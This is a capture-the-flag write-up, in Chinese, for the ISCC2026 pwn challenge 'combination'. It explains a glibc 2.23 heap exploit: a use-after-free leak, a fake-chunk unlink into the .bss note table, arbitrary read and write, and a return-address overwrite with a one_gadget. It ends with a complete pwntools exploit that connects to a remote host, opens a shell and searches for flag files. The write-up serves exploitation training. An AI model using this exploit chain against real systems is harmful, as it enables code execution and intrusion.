PWN-combination

ISCC2026 WriteUp 提交模板

PWN-combination

解题思路

题目二进制和配套 libc 分别是:

  • combination_final
  • libc.so.6

保护情况:

RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE

已知是 No PIE,所以 .bss 上的全局对象地址固定;又因为 Full RELRO,GOT 不好打,所以后续更自然的目标会是:

  • 堆上的全局 note 表
  • libc 中的 hook / 栈返回地址

image.png

已知程序每轮都会重绘 4 个槽位的 # CONTENT:,而本地调试可以看到 delete 之后只执行了“清 size、保留 memo”这一类操作。因此,虽然这个槽位不能继续正常 edit/delete,但菜单刷新时仍会把已经 free 的 chunk 当作字符串打印出来。

image.png

image.png

image.png

既然 show 路径还会访问 freed chunk,下一步就应该把可打印的 chunk 分别送进 fastbin 和 unsorted bin。原因是:

  • fastbin chunk 的链指针可以帮助恢复 heap 布局。
  • unsorted bin chunk 的 fd/bk 会指向 main_arena,所以能直接给出 libc 泄露。

这里使用的布局是:

add(0x88, b"1" * 0x88)   # slot 1
add(0x38, b"2" * 0x38)   # slot 2
add(0x100, b"3" * 0x92)  # slot 3
add(0x40, b"4" * 0x2f)   # slot 4

delete(3)
delete(1)

本地跟堆布局后可以看到,slot 1 对应的用户区起点固定是 heap_base + 0xc0,所以:

heap_base = leak_note1 - 0xc0

同时,slot 3 进入 unsorted bin 后,显示出来的是 main_arena+0x58 一类的指针。题目给了配套 libc.so.6,因此偏移可以直接从这份 libc 里取出:

MAIN_ARENA_88 = 0x3c4b78
libc_base = leak_note3 - MAIN_ARENA_88

这一步的结果是拿到两个后续必须的基址:

  • heap_base
  • libc_base

它们分别决定 fake chunk 应该伪造到哪里,以及最后栈回写时要写入哪个 one_gadget。

有了 heap_base 以后,下一步目标就从“信息泄露”变成“稳定读写”。已知这题的 edit 不是直接把输入写回原 chunk,而是先过一层 tinypad.buffer,再走 strcpy 一类的复制逻辑。这个细节非常重要,因为它意味着 payload 里只要有 \x00,拷贝就会提前截断。

因此这里不能一次性把 fake chunk 头完整写进去,而要分成两步:

  1. 先用没有 NUL 的占位字节把 prev_size 和相邻 chunk 头铺出来。
  2. 再利用多次缩短输入长度的 edit,让 strcpy 在更短的位置自动补 \x00,逐步把真正需要的 NUL 字节“收缩”出来。

核心代码如下:

fake_chunk = TINYPAD + 0x30
fake_prev_size = heap_base + 0xc0 - TINYPAD
prev_size_field = fake_prev_size - 0x30

stage1 = b"b" * 0x30 + p64(prev_size_field).replace(b"\x00", b"z") + b"\x10\x01z"
edit(2, stage1)

raw = p64(prev_size_field).replace(b"\x00", b"")
for shrink in range(1, 12):
    if shrink in (2, 3):
        continue
    if shrink >= 12 - len(raw):
        break
    edit(2, stage1[:-shrink])

这一步做完之后,相邻 chunk 的 PREV_INUSE 已经被清掉,fake chunk 的 prev_size 也已经被“雕”成了正确值。接下来再在另一个 chunk 里伪造 fd/bk 指针:

fake_header = (
    b"a" * 0x30 +
    p64(0) +
    p64(0x101) +
    p64(fake_chunk) * 2
).ljust(0x100, b"\x00")

edit_clear(4, b"b" * 0x100, fake_header)
delete(1)

这里的关键推理是:既然 delete(1) 会看到前一块“看起来像空闲块”,那 glibc 就会尝试 backward consolidate,并在 unlink 时把 fake chunk 的 fd/bk 当成真链表项写回。由于 fake chunk 被布在 .bss 的 tinypad 全局对象附近,这个 unlink 的写回效果就变成了“改写 note 表本身”。

unlink 之后,还需要把 arena 相关字段修回正常值,否则后面继续 malloc 时堆链会崩。脚本里用的是:

fixup = b"a" * 0x30 + p64(0) + p64(0x101) + p64(arena) * 2
edit(3, fixup)

最后再申请一个大块,把三个槽位重布成“一个数据槽位 + 两个指针控制槽位”:

payload = flat(
    b"b" * 0xC0,
    0x100, arena,
    0x100, NOTE1_PTR_SLOT,
    0x100, NOTE1_PTR_SLOT + 1,
)
add(0xF8, payload)

这时的含义是:

  • slot 1 变成被重新定向的数据 note。
  • slot 2 和 slot 3 分别控制 slot 1 指针字段的不同字节。

因此只要改写 slot 1 的指针,就能让菜单去显示任意地址的内容;而一旦 slot 1 指向可写位置,edit(1, ...) 也就变成了任意写。

既然已经拿到了任意读写,下一步最自然的目标就是找栈。已知 __environ 本身位于 libc 中,并且它保存的是当前栈上的环境变量指针,所以只要先把 slot 1 指向 libc.sym["environ"],就能先读出一个真实栈地址。

脚本没有直接假定“返回地址一定在 environ-0xf0”,而是先做一轮小范围枚举:

for off in (0xf0, 0xe8, 0xf8, 0xe0, 0xd0):
    val = read_note1_qword(env_ptr - off)

因为已知这是远端环境,environ 到 main 返回地址的相对距离可能和本地不完全一致。更稳的办法是读取几个候选位置,然后挑出那个“内容看起来像 libc.text 地址”的槽位。脚本用的判据是:

if libc.address + 0x20000 <= val <= libc.address + 0x30000:
    ret_off = off

在这次成功跑通的远端样本里,实际读到的是:

environ = 0x7fff0dd196c8
env-0xf0 -> 0x7f0530d93840
env-0xe8 -> 0x1
env-0xf8 -> 0x401dd0
env-0xe0 -> 0x7fff0dd196b8
env-0xd0 -> 0x401819
main_ret = 0x7fff0dd195d8

可以看到,env-0xf0 位置的内容确实落在 libc 可执行段里,所以这里就把:

ret_addr = env_ptr - 0xf0

当成 main 的返回地址。

拿到返回地址后,收尾就简单了。题目给的 libc 是 2.23,远端这条链实际满足的 gadget 是:

REMOTE_ONE_GADGET = 0x45226

于是只要把 slot 1 指向 ret_addr,再改写这 8 个字节即可:

set_note1_ptr(ret_addr)
edit(1, p64(libc.address + REMOTE_ONE_GADGET)[:6])

最后发送 Q 退出菜单,程序从 main 返回时就会直接跳进 one_gadget,拿到 shell。脚本再顺手尝试若干常见 flag 路径:

/flag
/flag.txt
/home/ctf/flag
/home/ctf/flag.txt
./flag
./flag.txt

image.png

ISCC{06b8e23e-ac80-450b-8273-717baf7d0ee3}

Exp

from pwn import *
import re

#==============全局配置=======================
ELFpath = "./combination_final"
LIBCpath = "./libc.so.6"
LOCAL = False
HOST = "39.96.193.120"
PORT = 10003
NOASLR = False
RETRY_DELAY = 2
MAX_REMOTE_ATTEMPTS = 120

#===============初始化=======================
context(os="linux", arch="amd64", log_level="info")
io = None

elf = ELF(ELFpath, checksec=False)
libc = ELF(LIBCpath, checksec=False)

#=================简写=====================
sd = lambda s: io.send(s)
sl = lambda s: io.sendline(s)
rc = lambda s, *a, **kw: io.recv(s, *a, **kw)
ru = lambda s, *a, **kw: io.recvuntil(s, *a, **kw)
sda = lambda a, s: io.sendafter(a, s)
sla = lambda a, s: io.sendlineafter(a, s)

#====================业务常量====================
TINYPAD = elf.sym["tinypad"]
SAFE_PTR_SLOT = TINYPAD + 0x118
NOTE1_PTR_SLOT = TINYPAD + 0x108
MAIN_ARENA_88 = 0x3C4B78
LOCAL_RET_FROM_ENV = 0xE8
LOCAL_ONE_GADGET = 0x45216
REMOTE_RET_FROM_ENV = 0xF0
REMOTE_ONE_GADGET = 0x45226
COMMON_FLAG_PATHS = (
    "/flag",
    "/flag.txt",
    "/home/ctf/flag",
    "/home/ctf/flag.txt",
    "/tmp/flag",
    "/tmp/flag.txt",
    "./flag",
    "./flag.txt",
)
FLAG_RE = re.compile(rb"ISCC\{[^}\r\n]+\}")


#================工具函数====================
def start():
    global io
    if LOCAL:
        io = process([ELFpath], env={"LD_PRELOAD": LIBCpath}, aslr=not NOASLR)
        return io

    last_error = None
    for attempt in range(1, MAX_REMOTE_ATTEMPTS + 1):
        try:
            io = remote(HOST, PORT)
            io.sendline()  # 远端不会主动吐菜单,先喂一个空行
            return io
        except Exception as exc:
            last_error = exc
            log.warning(f"remote attempt {attempt}/{MAX_REMOTE_ATTEMPTS} failed: {exc}")
            sleep(RETRY_DELAY)

    raise last_error


def wait_menu():
    ru(b"[*] COMMAND >> ")


def read_note_blob(marker):
    ru(marker)
    tail = b"\n\n\n+---"
    return ru(tail).split(tail)[0]


def add(size, data):
    wait_menu()
    sl(b"A")
    ru(b"[*] MEM_SIZE >> ")
    sl(str(size).encode())
    ru(b"[*] MEM_DATA >> ")
    sd(data)
    if not data.endswith(b"\n"):
        sd(b"\n")


def delete(idx):
    wait_menu()
    sl(b"D")
    ru(b"[*] INDEX_ID >> ")
    sl(str(idx).encode())


def edit(idx, data, confirm=b"Y"):
    wait_menu()
    sl(b"E")
    ru(b"[*] INDEX_ID >> ")
    sl(str(idx).encode())
    ru(b"[*] MEM_DATA >> ")
    sd(data)
    if not data.endswith(b"\n"):
        sd(b"\n")
    ru(b"[?] APPLY_CHANGE? (Y/n) >> ")
    sl(confirm)


def edit_clear(idx, first, second):
    wait_menu()
    sl(b"E")
    ru(b"[*] INDEX_ID >> ")
    sl(str(idx).encode())

    ru(b"[*] MEM_DATA >> ")
    sd(first)
    if not first.endswith(b"\n"):
        sd(b"\n")
    ru(b"[?] APPLY_CHANGE? (Y/n) >> ")
    sl(b"N")

    ru(b"[*] MEM_DATA >> ")
    sd(second)
    if not second.endswith(b"\n"):
        sd(b"\n")
    ru(b"[?] APPLY_CHANGE? (Y/n) >> ")
    sl(b"Y")


def leak_bases():
    add(0x88, b"1" * 0x88)
    add(0x38, b"2" * 0x38)
    add(0x100, b"3" * 0x92)
    add(0x40, b"4" * 0x2F)

    delete(3)
    delete(1)

    heap_leak = read_note_blob(b" #   INDEX: 1\n # CONTENT: ")
    heap_base = u64(heap_leak.ljust(8, b"\x00")) - 0xC0
    log.success(f"heap_base = {heap_base:#x}")

    libc_leak = read_note_blob(b" #   INDEX: 3\n # CONTENT: ")
    arena = u64(libc_leak.ljust(8, b"\x00"))
    libc.address = arena - MAIN_ARENA_88
    log.success(f"libc_base = {libc.address:#x}")

    add(0x100, b"thinkycx")
    add(0x88, b"thinkycx")
    return heap_base, arena


def build_primitives(heap_base, arena):
    delete(1)
    delete(3)
    delete(4)

    add(0x100, b"a" * 0x90)
    add(0x88, b"a" * 0x88)
    add(0x100, b"d" * 0x90)

    fake_chunk = TINYPAD + 0x30
    fake_prev_size = heap_base + 0xC0 - TINYPAD
    prev_size_field = fake_prev_size - 0x30

    # edit 经过 strcpy,不能直接写入带 NUL 的 prev_size。
    # 先用占位字节铺满,再靠缩短输入长度渐进式“长出” NUL。
    stage1 = b"b" * 0x30 + p64(prev_size_field).replace(b"\x00", b"z") + b"\x10\x01z"
    edit(2, stage1)

    raw = p64(prev_size_field).replace(b"\x00", b"")
    for shrink in range(1, 12):
        if shrink in (2, 3):
            continue
        if shrink >= 12 - len(raw):
            break
        edit(2, stage1[:-shrink])

    fake_header = (
        b"a" * 0x30 +
        p64(0) +
        p64(0x101) +
        p64(fake_chunk) * 2
    ).ljust(0x100, b"\x00")
    edit_clear(4, b"b" * 0x100, fake_header)

    delete(1)

    fixup = b"a" * 0x30 + p64(0) + p64(0x101) + p64(arena) * 2
    edit(3, fixup)

    payload = flat(
        b"b" * 0xC0,
        0x100, arena,
        0x100, NOTE1_PTR_SLOT,
        0x100, NOTE1_PTR_SLOT + 1,
    )
    add(0xF8, payload)


def set_note1_ptr(addr):
    raw = p64(addr)
    if raw[0] == 0:
        edit(3, raw[1:6])
        edit(2, b"\x00")
        return
    edit(2, raw[:6])


def read_note1_qword(addr):
    set_note1_ptr(addr)
    blob = read_note_blob(b" #   INDEX: 1\n # CONTENT: ")
    return u64(blob[:8].ljust(8, b"\x00")) if blob else 0


def hijack_main_ret():
    env_ptr = read_note1_qword(libc.sym["environ"])
    log.success(f"environ = {env_ptr:#x}")

    candidates = []
    for off in (REMOTE_RET_FROM_ENV, LOCAL_RET_FROM_ENV, 0xF8, 0xE0, 0xD0):
        val = read_note1_qword(env_ptr - off)
        candidates.append((off, val))
        log.info(f"env-{off:#x} -> {val:#x}")

    ret_off = LOCAL_RET_FROM_ENV if LOCAL else REMOTE_RET_FROM_ENV
    for off, val in candidates:
        if libc.address + 0x20000 <= val <= libc.address + 0x30000:
            ret_off = off
            break

    ret_addr = env_ptr - ret_off
    log.info(f"main_ret = {ret_addr:#x}")

    gadget = LOCAL_ONE_GADGET if LOCAL else REMOTE_ONE_GADGET
    set_note1_ptr(ret_addr)
    edit(1, p64(libc.address + gadget)[:6])

    wait_menu()
    sl(b"Q")


def send_shell(command):
    sl(command)
    return ru(b"__CMD_DONE__", drop=True, timeout=8)


def fetch_flag():
    ready = send_shell(b"echo __CMD_DONE__")
    if ready is None:
        raise EOFError("shell bootstrap failed")

    quoted_paths = " ".join(COMMON_FLAG_PATHS)
    flag_cmd = f"""
for f in {quoted_paths}; do
    if [ -f "$f" ]; then
        echo __FLAG_BEGIN__
        cat "$f"
        echo __FLAG_END__
        echo __CMD_DONE__
        exit
    fi
done
echo __FLAG_MISS__
find / -maxdepth 3 -type f \\( -iname 'flag' -o -iname 'flag.txt' -o -iname '*flag*' \\) 2>/dev/null | head -n 50
echo __CMD_DONE__
""".strip().encode()

    out = send_shell(flag_cmd)
    if b"__FLAG_BEGIN__" in out and b"__FLAG_END__" in out:
        body = out.split(b"__FLAG_BEGIN__", 1)[1].split(b"__FLAG_END__", 1)[0]
        flag = body.strip()
        log.success(flag.decode("latin-1", errors="replace"))
        return flag

    log.warning("flag file not found in common paths; candidate files:")
    print(out.decode("latin-1", errors="replace"))
    return b""


def extract_flag(blob):
    if not blob:
        return b""
    match = FLAG_RE.search(blob)
    return match.group(0) if match else b""


def attack():
    heap_base, arena = leak_bases()
    build_primitives(heap_base, arena)
    hijack_main_ret()


def main():
    while True:
        start()
        try:
            attack()
            fetch_flag()
            return
        except EOFError as exc:
            try:
                banner = io.recvrepeat(1)
            except Exception:
                banner = b""
            flag = extract_flag(banner)
            if flag:
                log.success(flag.decode("latin-1", errors="replace"))
                io.close()
                return
            if LOCAL:
                io.close()
                raise
            log.warning(f"remote session died early: {exc}")
            if banner:
                print(banner.decode("latin-1", errors="replace"))
            io.close()
            sleep(RETRY_DELAY)
        except Exception as exc:
            try:
                banner = io.recvrepeat(1)
            except Exception:
                banner = b""
            flag = extract_flag(banner)
            if flag:
                log.success(flag.decode("latin-1", errors="replace"))
                io.close()
                return
            if LOCAL:
                io.close()
                raise
            log.warning(f"remote attempt failed: {exc}")
            if banner:
                print(banner.decode("latin-1", errors="replace"))
            io.close()
            sleep(RETRY_DELAY)


main()
if io:
    io.interactive()

posted @ 2026-05-19 16:28  MillionMind  阅读(16)  评论(0)    收藏  举报